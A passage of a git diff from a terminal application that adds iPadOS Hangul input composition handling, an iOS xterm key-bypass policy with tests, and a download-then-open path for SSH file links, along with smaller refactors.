+function diffFieldEdit(prev: string, next: string): FieldEdit {
+  const limit = Math.min(prev.length, next.length)
+  let start = 0
+  while (start < limit && prev[start] === next[start]) {
+    start += 1
+  }
+  return { start, text: next.slice(start) }
+}
+
+/** True for input the browser attributes to a composition session, whichever
+ *  order it interleaves those events in. */
+function isCompositionOwnedInput(event: Event): boolean {
+  return (
+    event instanceof InputEvent &&
+    (event.isComposing === true || event.inputType === 'insertCompositionText')
+  )
+}
+
+/**
+ * Holds the Hangul syllable iPadOS is still building and commits it only once
+ * the IME proves it final, so the PTY sees one write per syllable.
+ */
+export function installTerminalIosHangulPreedit(
+  options: TerminalIosHangulPreeditOptions
+): TerminalIosHangulPreedit {
+  const root = options.terminalElement
+  if (!root) {
+    return NO_OP_PREEDIT
+  }
+
+  let preedit: OpenPreedit | null = null
+
+  const render = (text: string): void => options.renderPreedit?.(text)
+
+  const close = (): void => {
+    preedit = null
+    render('')
+  }
+
+  const commit = (): void => {
+    const open = preedit
+    if (!open) {
+      return
+    }
+    // A hold the IME never wrote to still owes the keystroke it swallowed.
+    const text =
+      open.heldText || (!open.imeWrote && isHangulJamoKeyText(open.openKey) ? open.openKey : '')
+    close()
+    if (text) {
+      options.sendInput(text)
+    }
+  }
+
+  const discard = (textarea: HTMLTextAreaElement): void => {
+    const open = preedit
+    if (!open) {
+      return
+    }
+    // The cancelled syllable never reached the PTY, so it must not survive in
+    // the field either.
+    textarea.value = open.baseValue
+    close()
+  }
+
+  /**
+   * Re-derives the hold from the field, releasing whatever the IME has stopped
+   * rewriting.
+   *
+   * A syllable is settled once the IME's own edit point has moved past it: up
+   * to that index the batchim question — does this consonant end this syllable
+   * or start the next — is already answered, and nothing there can change
+   * without a keystroke that ends the hold anyway.
+   */
+  const sync = (textarea: HTMLTextAreaElement): void => {
+    const open = preedit
+    if (!open) {
+      return
+    }
+    const value = normalizeFieldText(textarea.value)
+    if (!value.startsWith(open.baseValue)) {
+      // The field was rewritten out from under the hold; commit rather than
+      // measure against text that is gone.
+      commit()
+      return
+    }
+    const tail = value.slice(open.baseValue.length)
+    if (tail.length === 0) {
+      // Backspace can decompose as delete-then-insert, so an emptied field is
+      // not proof the syllable is gone — only that this half of the rewrite
+      // wrote nothing. The hold stays open, empty; the Backspace that finds it
+      // empty is the one the PTY gets. Nothing was sent, so nothing needs
+      // undoing either way.
+      open.heldText = ''
+      render('')
+      return
+    }
+    const edit = diffFieldEdit(open.heldText, tail)
+    // An edit that wrote nothing settles nothing: a rewrite landing on the same
+    // text, or a Backspace shortening the tail, is not the IME deciding.
+    if (edit.start > 0 && edit.text.length > 0) {
+      const settled = tail.slice(0, edit.start)
+      open.baseValue += settled
+      options.sendInput(settled)
+    }
+    open.heldText = value.slice(open.baseValue.length)
+    render(open.heldText)
+  }
+
+  const handleKeyDown = (event: Event): void => {
+    if (!(event instanceof KeyboardEvent)) {
+      return
+    }
+    const textarea = root.querySelector<HTMLTextAreaElement>('.xterm-helper-textarea')
+    if (!textarea) {
+      return
+    }
+    if (preedit) {
+      preedit.editKind = 'compose'
+      if (event.key === 'Escape' && isUnmodified(event)) {
+        // Escape cancels the syllable the way it cancels a composition. Stopped
+        // here so xterm cannot also send it; the default action still lets the
+        // IME clear its own state.
+        event.stopImmediatePropagation()
+        discard(textarea)
+        return
+      }
+      if (event.key === 'Backspace' && isUnmodified(event)) {
+        if (!preedit.heldText) {
+          // Nothing left to decompose: this erase is the PTY's, and xterm sends it.
+          close()
+          return
+        }
+        // Backspace decomposes the held syllable in the field rather than
+        // erasing a written cell, so it must not reach the PTY as DEL.
+        preedit.editKind = 'erase'
+        event.stopImmediatePropagation()
+        return
+      }
+      if (isJamoKey(event)) {
+        return
+      }
+      // Anything else ends the syllable, and runs before xterm sends the key.
+      commit()
+      return
+    }
+    if (
+      isJamoKey(event) &&
+      event.isComposing !== true &&
+      !options.isCompositionActive() &&
+      !options.isScreenReaderMode()
+    ) {
+      preedit = {
+        baseValue: normalizeFieldText(textarea.value),
+        heldText: '',
+        openKey: event.key,
+        imeWrote: false,
+        editKind: 'compose'
+      }
+    }
+  }
+
+  const handleInput = (event: Event): void => {
+    if (!preedit) {
+      return
+    }
+    const textarea = asHelperTextarea(event.target)
+    if (!textarea) {
+      return
+    }
+    if (isCompositionOwnedInput(event)) {
+      // A session took the field over; it owns the commit from here. Read off
+      // the event rather than the session state, so this cannot depend on which
+      // `input` listener on the pane element happens to run first.
+      commit()
+      return
+    }
+    // Why: the field keeps the syllable so the IME can rewrite it, and xterm
+    // must not read that as fresh input.
+    event.stopImmediatePropagation()
+    preedit.imeWrote = true
+    if (preedit.editKind === 'compose' && isDeletion(event)) {
+      // Half of the delete-then-insert the IME uses to replace a growing
+      // syllable. Reading the field between the two would see it emptied.
+      return
+    }
+    sync(textarea)
+  }
+
+  // A real session owns the field from here, so anything held is final.
+  const handleCompositionStart = (): void => commit()
+  const handleBlur = (): void => commit()
+
+  root.addEventListener('keydown', handleKeyDown, true)
+  root.addEventListener('input', handleInput, true)
+  root.addEventListener('compositionstart', handleCompositionStart, true)
+  root.addEventListener('blur', handleBlur, true)
+
+  return {
+    heldText: () => preedit?.heldText ?? '',
+    dispose: () => {
+      root.removeEventListener('keydown', handleKeyDown, true)
+      root.removeEventListener('input', handleInput, true)
+      root.removeEventListener('compositionstart', handleCompositionStart, true)
+      root.removeEventListener('blur', handleBlur, true)
+      close()
+    }
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/terminal-link-remote-runtime-ssh-open.test.ts b/src/renderer/src/components/terminal-pane/terminal-link-remote-runtime-ssh-open.test.ts
index 8f8e0b7ade9..67562aec052 100644
--- a/src/renderer/src/components/terminal-pane/terminal-link-remote-runtime-ssh-open.test.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-link-remote-runtime-ssh-open.test.ts
@@ -1,6 +1,9 @@
 import { describe, expect, it, vi } from 'vitest'
 import { openDetectedFilePath } from './terminal-link-handlers'
 import { getConnectionId } from '@/lib/connection-context'
+import { getWorkspaceFilePreviewPlan, openFileInBrowserTab } from '@/lib/file-preview'
+import { activateAndRevealWorktree } from '@/lib/worktree-activation'
+import { downloadAndOpenRemoteTerminalFile } from './terminal-remote-file-download-open'
 import { createTerminalLinkTestDoubles } from './terminal-link-handlers-test-fixtures'
 import {
   flushAsyncWork,
@@ -39,6 +42,15 @@ vi.mock('@/lib/connection-context', () => ({
   getConnectionId: vi.fn(() => null)
 }))
 
+vi.mock('./terminal-remote-file-download-open', () => ({
+  downloadAndOpenRemoteTerminalFile: vi.fn()
+}))
+
+vi.mock('@/lib/file-preview', () => ({
+  getWorkspaceFilePreviewPlan: vi.fn(() => ({ status: 'doc-preview' })),
+  openFileInBrowserTab: vi.fn()
+}))
+
 installTerminalLinkTestEnvironment(doubles)
 
 describe('handleOscLink', () => {
@@ -114,8 +126,7 @@ describe('handleOscLink', () => {
 
     openDetectedFilePath('/home/me/repo/src/main.ts', null, null, {
       worktreeId: 'wt-1',
-      worktreePath: '/home/me/repo',
-      openWithSystemDefault: true
+      worktreePath: '/home/me/repo'
     })
     await new Promise((resolve) => setTimeout(resolve, 0))
 
@@ -205,7 +216,7 @@ describe('handleOscLink', () => {
     )
   })
 
-  it('does not open SSH html file links as client-local file browser tabs', async () => {
+  it('downloads shift-modifier SSH file links before the OS opens them, like the popover row', async () => {
     setPlatform('Macintosh')
     vi.mocked(getConnectionId).mockReturnValue('ssh-1')
 
@@ -217,6 +228,53 @@ describe('handleOscLink', () => {
     await new Promise((resolve) => setTimeout(resolve, 0))
 
     expect(createBrowserTabMock).not.toHaveBeenCalled()
+    expect(openFilePathMock).not.toHaveBeenCalled()
+    expect(openFileMock).not.toHaveBeenCalled()
+    expect(downloadAndOpenRemoteTerminalFile).toHaveBeenCalledWith(
+      expect.objectContaining({ connectionId: 'ssh-1' }),
+      '/home/me/repo/report.html'
+    )
+  })
+
+  it('renders plain-modifier SSH html links in the doc preview, not a client-local browser tab', async () => {
+    setPlatform('Macintosh')
+    vi.mocked(getConnectionId).mockReturnValue('ssh-1')
+
+    openDetectedFilePath('/home/me/repo/report.html', null, null, {
+      worktreeId: 'wt-1',
+      worktreePath: '/home/me/repo'
+    })
+    await new Promise((resolve) => setTimeout(resolve, 0))
+
+    expect(createBrowserTabMock).not.toHaveBeenCalled()
+    expect(openFileMock).not.toHaveBeenCalled()
+    expect(openFileInBrowserTab).toHaveBeenCalledWith({
+      filePath: '/home/me/repo/report.html',
+      worktreeId: 'wt-1'
+    })
+    // Why: the preview tab is the surface — activation must not re-seed a shell into a
+    // workspace whose last terminal the user closed.
+    expect(activateAndRevealWorktree).toHaveBeenCalledWith('wt-1', {
+      providesInitialSurface: true
+    })
+  })
+
+  it('falls back to the source editor when the preview plan is unsupported', async () => {
+    setPlatform('Macintosh')
+    vi.mocked(getConnectionId).mockReturnValue('ssh-1')
+    vi.mocked(getWorkspaceFilePreviewPlan).mockReturnValueOnce({
+      status: 'unsupported',
+      message: 'nope',
+      reason: 'outside-worktree'
+    })
+
+    openDetectedFilePath('/home/me/repo/report.html', null, null, {
+      worktreeId: 'wt-1',
+      worktreePath: '/home/me/repo'
+    })
+    await new Promise((resolve) => setTimeout(resolve, 0))
+
+    expect(openFileInBrowserTab).not.toHaveBeenCalled()
     expect(openFileMock).toHaveBeenCalledWith(
       expect.objectContaining({
         filePath: '/home/me/repo/report.html',
diff --git a/src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.ts b/src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.ts
index d0c36961377..f834944607b 100644
--- a/src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.ts
+++ b/src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.ts
@@ -7,8 +7,7 @@
  */
 import { isTerminalLeafId } from '../../../../shared/stable-pane-id'
 import { useAppStore } from '@/store'
-import { isRemoteRuntimePtyId } from '@/runtime/runtime-terminal-inspection'
-import { parseAppSshPtyId } from '../../../../shared/ssh-pty-id'
+import { isRemoteExecutionHostPtyId } from './remote-execution-host-pty'
 import { discardPreHandlerPtyState } from './pty-pre-handler-buffer'
 import { terminalProviderHasAuthoritativeSnapshot } from '../terminal/terminal-provider-snapshot-capability'
 import {
@@ -51,9 +50,7 @@ export type { ParkableTerminalTabModel } from './terminal-parked-watcher-reconci
 export type ParkedTerminalPtyEligibility = (ptyId: string) => boolean
 
 const allowOrdinaryParkRestore = (ptyId: string): boolean =>
-  isRemoteRuntimePtyId(ptyId) ||
-  parseAppSshPtyId(ptyId) !== null ||
-  terminalProviderHasAuthoritativeSnapshot(ptyId)
+  isRemoteExecutionHostPtyId(ptyId) || terminalProviderHasAuthoritativeSnapshot(ptyId)
 
 // Why: fact-mode watchers work for any pty whose bytes transit local main —
 // SSH included — so watcher coverage follows the park-restore policy, not the
diff --git a/src/renderer/src/components/terminal-pane/terminal-remote-file-download-open.ts b/src/renderer/src/components/terminal-pane/terminal-remote-file-download-open.ts
new file mode 100644
index 00000000000..a5e03124f8e
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-remote-file-download-open.ts
@@ -0,0 +1,37 @@
+import { toast } from 'sonner'
+import { translate } from '@/i18n/i18n'
+import { extractIpcErrorMessage } from '@/lib/ipc-error'
+import { basename } from '@/lib/path'
+import { downloadRuntimeFile, type RuntimeFileOperationArgs } from '@/runtime/runtime-file-client'
+
+/**
+ * Remote counterpart of "Open with default app": the OS can only launch a local
+ * file, so the workspace copy is downloaded to a user-chosen path first.
+ */
+export async function downloadAndOpenRemoteTerminalFile(
+  fileContext: RuntimeFileOperationArgs,
+  filePath: string
+): Promise<void> {
+  const name = basename(filePath) || filePath
+  try {
+    const result = fileContext.connectionId
+      ? await window.api.fs.downloadFile({ filePath, connectionId: fileContext.connectionId })
+      : await downloadRuntimeFile(fileContext, filePath, name)
+    // Why: cancelling the native save dialog is a deliberate no-op, not a failure.
+    if (result.canceled) {
+      return
+    }
+    await window.api.shell.openFilePath(result.destinationPath)
+  } catch (error) {
+    toast.error(
+      extractIpcErrorMessage(
+        error,
+        translate(
+          'auto.components.terminal.pane.TerminalLinkActionPopover.downloadOpenFailed',
+          "Failed to download '{{value0}}'.",
+          { value0: name }
+        )
+      )
+    )
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts b/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts
index 053a22405d5..a8b26cd6341 100644
--- a/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts
+++ b/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts
@@ -6,7 +6,6 @@ import {
   createQueuedStartupConsumer,
   getPreviousVisibleForTerminalPane,
   isTerminalPaneVisibilityResume,
-  isTouchIOSUserAgent,
   mapRestoredPaneTitlesByPaneId,
   paneOwnsQueuedStartup,
   resolvePaneLinkCwd,
@@ -674,39 +673,3 @@ describe('terminal pane visibility resume tracking', () => {
     expect(isTerminalPaneVisibilityResume({ previousIsVisible: false, isVisible: true })).toBe(true)
   })
 })
-
-describe('isTouchIOSUserAgent', () => {
-  it('is false for a real Mac (Macintosh UA, no touch points)', () => {
-    expect(
-      isTouchIOSUserAgent('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15', 0)
-    ).toBe(false)
-  })
-
-  it('is true for iPadOS desktop-mode Safari (Macintosh UA plus touch points)', () => {
-    expect(
-      isTouchIOSUserAgent('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15', 5)
-    ).toBe(true)
-  })
-
-  it('is true for iPhone Safari ("like Mac OS X" UA plus touch points)', () => {
-    expect(
-      isTouchIOSUserAgent(
-        'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15',
-        5
-      )
-    ).toBe(true)
-  })
-
-  it('is false for non-Mac UAs regardless of touch points', () => {
-    expect(isTouchIOSUserAgent('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', 5)).toBe(false)
-    expect(
-      isTouchIOSUserAgent('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 5)
-    ).toBe(false)
-  })
-
-  it('keeps the forwarder on a Mac whose touch peripheral reports a single point', () => {
-    expect(
-      isTouchIOSUserAgent('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15', 1)
-    ).toBe(false)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.ts b/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.ts
index 52a348b627d..0f033c1c3c8 100644
--- a/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.ts
+++ b/src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.ts
@@ -95,6 +95,7 @@ import {
   resolveNonLatinControlChordInput
 } from './terminal-non-latin-control-chord'
 import { installTerminalImeCompositionTracker } from './terminal-ime-composition-tracker'
+import { isCurrentPlatformIosWeb } from '@/lib/ios-web-platform'
 import { installTerminalImeLinuxCandidateState } from './terminal-ime-linux-candidate-state'
 import {
   armTerminalImePendingCandidateKeyRelease,
@@ -103,6 +104,8 @@ import {
   shouldApplyTerminalImePendingCandidateKeyRelease
 } from './terminal-ime-candidate-key-release-guard'
 import { installTerminalImeNativeTextForwarder } from './terminal-ime-native-text-forwarder'
+import { installTerminalIosHangulPreedit } from './terminal-ios-hangul-preedit'
+import { createTerminalIosHangulPreeditRenderer } from './terminal-ios-hangul-preedit-overlay'
 import {
   shouldBypassXtermKeyboardEvent,
   shouldHandleTerminalInterruptKeyboardEvent,
@@ -453,13 +456,6 @@ export function resolvePaneSeedCwd(splitPaneCwd: string | undefined, fallbackCwd
   return splitPaneCwd ?? fallbackCwd
 }
 
-// Why > 1, matching isIOSWebView in mobile/src/terminal/terminal-webview-html.ts: a Mac with a
-// touch peripheral can report exactly 1, and it must keep the forwarder. Real iPads report 5.
-// Why UA rather than that helper's platform check: an iPhone reports platform "iPhone", not "MacIntel".
-export function isTouchIOSUserAgent(userAgent: string, maxTouchPoints: number): boolean {
-  return userAgent.includes('Mac') && maxTouchPoints > 1
-}
-
 type SplitStartupPayload = { command: string; env?: Record<string, string> }
 
 type SplitWithStartupDeps = {
@@ -1061,22 +1057,36 @@ export function useTerminalPaneLifecycle({
           !isMac &&
           navigator.userAgent.includes('Linux') &&
           !/Android|CrOS/.test(navigator.userAgent)
-        // Why: gates the forwarder only — isMac stays as-is for the Ctrl+C, clipboard, JIS-yen and 229 policies.
-        const isTouchIOS = isTouchIOSUserAgent(navigator.userAgent, navigator.maxTouchPoints)
+        // Why: gates the iOS text-edit paths only — isMac stays as-is for the Ctrl+C, clipboard, JIS-yen and 229 policies.
+        const isIosWeb = isCurrentPlatformIosWeb()
         const linuxImeCandidateState = isLinux
           ? installTerminalImeLinuxCandidateState(pane.terminal.element)
           : null
         const imeCompositionTracker = installTerminalImeCompositionTracker(pane.terminal.element)
+        // Why after the tracker: the preedit stops propagation on `input` while
+        // a syllable is held, so anything on this element that needs those
+        // events has to be registered ahead of it. Nothing does today — the
+        // preedit reads composition ownership off the event itself.
+        const iosHangulPreedit = isIosWeb
+          ? installTerminalIosHangulPreedit({
+              terminalElement: pane.terminal.element,
+              isCompositionActive: () => imeCompositionTracker.isActive(),
+              isScreenReaderMode: () => pane.terminal.options.screenReaderMode === true,
+              sendInput: (data) => pane.terminal.input(data),
+              renderPreedit: createTerminalIosHangulPreeditRenderer(pane.terminal)
+            })
+          : null
         imeCompositionDisposablesRef.current.set(pane.id, {
           dispose: () => {
             imeCompositionTracker.dispose()
             linuxImeCandidateState?.dispose()
+            iosHangulPreedit?.dispose()
           }
         })
         // Why: macOS commits an input source's substituted text through the input event alone, so printable keydowns must not reach xterm's encoder.
         // Not on touch iOS/iPadOS: the forwarder stands aside for IME input via composition events, which iPad Hangul appears not to fire (#13345).
         const imeNativeTextForwarder =
-          isMac && !isTouchIOS
+          isMac && !isIosWeb
             ? installTerminalImeNativeTextForwarder({
                 terminalElement: pane.terminal.element,
                 isComposing: () => imeCompositionTracker.isActive(),
@@ -1216,6 +1226,7 @@ export function useTerminalPaneLifecycle({
 
           const shouldBypass = shouldBypassXtermKeyboardEvent(e, {
             isMac,
+            isIosWeb,
             hasSelection: pane.terminal.hasSelection(),
             kittyKeyboardFlags: paneKittyKeyboardModesRef.current.get(pane.id)?.flags ?? 0
           })
diff --git a/src/renderer/src/components/terminal-pane/use-terminal-tab-cold-parking.ts b/src/renderer/src/components/terminal-pane/use-terminal-tab-cold-parking.ts
index 76434e024c1..0f25b61830e 100644
--- a/src/renderer/src/components/terminal-pane/use-terminal-tab-cold-parking.ts
+++ b/src/renderer/src/components/terminal-pane/use-terminal-tab-cold-parking.ts
@@ -138,6 +138,8 @@ export function useTerminalTabColdParking(args: {
   const [coldParkedTerminalTabIds, setColdParkedTerminalTabIds] = useState<ReadonlySet<string>>(
     () => new Set()
   )
+  // Mirrors the committed park set; written only from the post-commit effect below.
+  const coldParkedTerminalTabIdsRef = useRef(coldParkedTerminalTabIds)
 
   useEffect(() => {
     const timers = terminalTabParkingTimersRef.current
@@ -224,9 +226,16 @@ export function useTerminalTabColdParking(args: {
       parkVerdictRecords: parkVerdictRecordsRef.current,
       nowMs
     })
-    setColdParkedTerminalTabIds((current) =>
-      haveSameTerminalTabIds(current, parkedTabIds) ? current : parkedTabIds
-    )
+    // Why the ref and not the updater form: returning `current` still dispatches,
+    // and React only bails eagerly while the fiber has no pending lanes. This
+    // effect re-runs on every tab-model write (runtime titles, unread bumps),
+    // so inside any commit cascade the no-op dispatch was what tripped React's
+    // root-global nested-update counter — naming this hook in a #185 whose real
+    // driver is elsewhere (see src/shared/react-update-depth-attribution.ts).
+    if (!haveSameTerminalTabIds(coldParkedTerminalTabIdsRef.current, parkedTabIds)) {
+      coldParkedTerminalTabIdsRef.current = parkedTabIds
+      setColdParkedTerminalTabIds(parkedTabIds)
+    }
 
     for (const candidate of candidates) {
       if (
diff --git a/src/renderer/src/components/terminal-pane/xterm-bypass-policy-ios.test.ts b/src/renderer/src/components/terminal-pane/xterm-bypass-policy-ios.test.ts
new file mode 100644
index 00000000000..9c8d7ccff79
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/xterm-bypass-policy-ios.test.ts
@@ -0,0 +1,120 @@
+import { describe, expect, it } from 'vitest'
+import {
+  shouldBypassXtermForIosTextEdit,
+  shouldBypassXtermKeyboardEvent
+} from './xterm-bypass-policy'
+import { event } from './xterm-bypass-event-fixture'
+
+// iPadOS reports a real physical key for every jamo — `key: 'ㅎ'`, `code: 'KeyG'`,
+// `keyCode: 71`, `isComposing: false` — and runs no composition session. Only by
+// leaving those keys to the default handler does the system compose them.
+const HANGUL_JAMO_KEYDOWN = { key: 'ㅎ', code: 'KeyG', keyCode: 71 }
+
+describe('shouldBypassXtermForIosTextEdit', () => {
+  it('claims an unmodified jamo keydown on iOS web', () => {
+    expect(shouldBypassXtermForIosTextEdit(event(HANGUL_JAMO_KEYDOWN), true)).toBe(true)
+  })
+
+  it('claims the matching keyup and keypress so xterm cannot re-send the glyph', () => {
+    for (const type of ['keyup', 'keypress']) {
+      expect(shouldBypassXtermForIosTextEdit(event({ ...HANGUL_JAMO_KEYDOWN, type }), true)).toBe(
+        true
+      )
+    }
+  })
+
+  it('leaves ASCII alone so English typing keeps the normal xterm path', () => {
+    expect(
+      shouldBypassXtermForIosTextEdit(event({ key: 'a', code: 'KeyA', keyCode: 65 }), true)
+    ).toBe(false)
+  })
+
+  it('leaves other non-ASCII scripts alone, since nothing downstream re-sends them', () => {
+    // Why: this claims the keydown, the keypress and (through the preedit
+    // controller) the `input` too. Only Hangul has a handler on the other side;
+    // a Cyrillic or kana key would reach the PTY as nothing at all.
+    for (const key of ['п', 'あ', 'é', '中']) {
+      expect(shouldBypassXtermForIosTextEdit(event({ key }), true)).toBe(false)
+    }
+  })
+
+  it('claims Shift-typed double consonants, which start 깨 꿈 딸 빵 쓰다 짜다', () => {
+    for (const key of ['ㄲ', 'ㄸ', 'ㅃ', 'ㅆ', 'ㅉ']) {
+      expect(shouldBypassXtermForIosTextEdit(event({ key, shiftKey: true }), true)).toBe(true)
+      // Orca's own Shift rule already hides these keydowns from xterm, so only
+      // the keypress claim keeps `_keyPress` from sending the raw jamo.
+      expect(
+        shouldBypassXtermForIosTextEdit(event({ key, shiftKey: true, type: 'keypress' }), true)
+      ).toBe(true)
+    }
+  })
+
+  it('leaves named keys alone so Enter and arrows still reach the shell', () => {
+    for (const key of ['Enter', 'Backspace', 'ArrowLeft', 'Escape']) {
+      expect(shouldBypassXtermForIosTextEdit(event({ key }), true)).toBe(false)
+    }
+  })
+
+  it('leaves modifier chords alone so shortcuts are not swallowed', () => {
+    expect(
+      shouldBypassXtermForIosTextEdit(event({ ...HANGUL_JAMO_KEYDOWN, ctrlKey: true }), true)
+    ).toBe(false)
+    expect(
+      shouldBypassXtermForIosTextEdit(event({ ...HANGUL_JAMO_KEYDOWN, metaKey: true }), true)
+    ).toBe(false)
+    expect(
+      shouldBypassXtermForIosTextEdit(event({ ...HANGUL_JAMO_KEYDOWN, altKey: true }), true)
+    ).toBe(false)
+  })
+
+  it('leaves composing keystrokes to xterm, for iOS sources that do compose', () => {
+    // Why: the on-screen keyboard and the Japanese/Chinese IMEs run a real
+    // composition session, which xterm's CompositionHelper already commits.
+    expect(
+      shouldBypassXtermForIosTextEdit(event({ ...HANGUL_JAMO_KEYDOWN, isComposing: true }), true)
+    ).toBe(false)
+  })
+
+  it('is inert off iOS web, leaving desktop IME handling untouched', () => {
+    expect(shouldBypassXtermForIosTextEdit(event(HANGUL_JAMO_KEYDOWN), false)).toBe(false)
+  })
+})
+
+describe('shouldBypassXtermKeyboardEvent — iOS web', () => {
+  const iosOptions = { isMac: true, isIosWeb: true, hasSelection: false }
+  const macOptions = { isMac: true, hasSelection: false }
+
+  it('bypasses a bare jamo keydown', () => {
+    expect(shouldBypassXtermKeyboardEvent(event(HANGUL_JAMO_KEYDOWN), iosOptions)).toBe(true)
+  })
+
+  it('does not bypass the same key on a Mac desktop browser', () => {
+    // Why: iPadOS reports `Macintosh` in its default desktop mode, so `isMac`
+    // alone must not turn the iOS path on for real Macs.
+    expect(shouldBypassXtermKeyboardEvent(event(HANGUL_JAMO_KEYDOWN), macOptions)).toBe(false)
+  })
+
+  it('still bypasses Shift+jamo without the iOS flag, as it did before', () => {
+    expect(
+      shouldBypassXtermKeyboardEvent(
+        event({ key: 'ㄲ', code: 'KeyR', keyCode: 82, shiftKey: true }),
+        macOptions
+      )
+    ).toBe(true)
+  })
+
+  it('keeps Cmd+C bubbling on iOS web', () => {
+    expect(
+      shouldBypassXtermKeyboardEvent(event({ key: 'c', code: 'KeyC', metaKey: true }), iosOptions)
+    ).toBe(true)
+  })
+
+  it('keeps Enter on xterm so the command is submitted', () => {
+    expect(
+      shouldBypassXtermKeyboardEvent(
+        event({ key: 'Enter', code: 'Enter', keyCode: 13 }),
+        iosOptions
+      )
+    ).toBe(false)
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/xterm-bypass-policy.ts b/src/renderer/src/components/terminal-pane/xterm-bypass-policy.ts
index 6e8c2753802..402d452e056 100644
--- a/src/renderer/src/components/terminal-pane/xterm-bypass-policy.ts
+++ b/src/renderer/src/components/terminal-pane/xterm-bypass-policy.ts
@@ -1,4 +1,5 @@
 import { keybindingMatchesInput } from '../../../../shared/keybindings'
+import { isHangulJamoKeyText } from './hangul-jamo-key'
 import { getLayoutBaseCharacterForCode } from '../../lib/keyboard-layout/layout-base-character'
 import {
   isTerminalImeCandidateDigitKeyEvent,
@@ -38,6 +39,10 @@ export type XtermBypassOptions = {
    *  Windows/Linux should only bubble to clipboard when something is selected,
    *  otherwise it must reach the shell as SIGINT. */
   hasSelection: boolean
+  /** True when the renderer runs inside iOS/iPadOS WebKit, where the system
+   *  composes CJK text by rewriting the field instead of running a composition
+   *  session. See `terminal-ios-hangul-preedit.ts`. */
+  isIosWeb?: boolean
 }
 
 export type XtermImeKeyboardOptions = {
@@ -94,6 +99,36 @@ function isXtermHandledKeyEvent(type: string): boolean {
   return type === 'keydown' || type === 'keyup'
 }
 
+/**
+ * Why: iOS/iPadOS composes CJK text by rewriting the field through
+ * `beforeinput`/`input`, with no composition session, and that only runs when
+ * the printable keydown reaches the default handler. xterm has to stay out of
+ * the way for those keys so `terminal-ios-hangul-preedit.ts` can read the
+ * resulting edits. `keypress` is included because `_keyPress` would otherwise
+ * send the glyph a second time alongside the preedit commit.
+ */
+export function shouldBypassXtermForIosTextEdit(
+  event: XtermBypassEvent,
+  isIosWeb: boolean
+): boolean {
+  if (!isIosWeb || event.ctrlKey || event.metaKey || event.altKey) {
+    return false
+  }
+  if (event.isComposing === true) {
+    // Why: input sources that do run a composition session stay with xterm's
+    // CompositionHelper, which already commits them correctly.
+    return false
+  }
+  if (!isXtermHandledKeyEvent(event.type) && event.type !== 'keypress') {
+    return false
+  }
+  // Why jamo and not every non-ASCII key: nothing downstream re-sends a key
+  // this claims. A Cyrillic or kana key would lose its keydown, its keypress,
+  // and then its `input` too — xterm drops a composed insert while a key is
+  // down — and reach the PTY as nothing at all.
+  return isHangulJamoKeyText(event.key)
+}
+
 /** Returns whether the Linux orphan-keyup window may claim this digit. */
 function claimsOrphanCandidateDigit(
   event: XtermBypassEvent,
@@ -256,6 +291,9 @@ export function shouldBypassXtermKeyboardEvent(
   event: XtermBypassEvent,
   options: XtermBypassOptions
 ): boolean {
+  if (shouldBypassXtermForIosTextEdit(event, options.isIosWeb === true)) {
+    return true
+  }
   if (!isXtermHandledKeyEvent(event.type)) {
     return false
   }
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.test.ts b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.test.ts
index 2f24f47fb0c..f0640d42889 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.test.ts
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.test.ts
@@ -1,5 +1,5 @@
 import { describe, expect, it } from 'vitest'
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import {
   filterWorkspaceCleanupCandidates,
   getWorkspaceCleanupGitLabel,
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.ts b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.ts
index f3506b07e20..17b3da019ba 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.ts
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-presentation.ts
@@ -1,4 +1,4 @@
-import { getHostedReviewCacheKey } from '@/store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity'
 import type { AppState } from '@/store/types'
 import { translate } from '@/i18n/i18n'
 import { getRepoExecutionHostId } from '../../../../shared/execution-host'
diff --git a/src/renderer/src/hooks/composer-state/composer-card-contract.ts b/src/renderer/src/hooks/composer-state/composer-card-contract.ts
index b41282032e4..1dffa161c32 100644
--- a/src/renderer/src/hooks/composer-state/composer-card-contract.ts
+++ b/src/renderer/src/hooks/composer-state/composer-card-contract.ts
@@ -14,6 +14,9 @@ export type ComposerCardSourceProps = Pick<
   | 'ephemeralVmRecipeError'
   | 'name'
   | 'branchNameOverride'
+  | 'parentWorktreeId'
+  | 'selectedRepoExecutionHostId'
+  | 'selectedRepoProjectId'
   | 'smartNameSelection'
   | 'reuseSelectedBranch'
   | 'createMultiple'
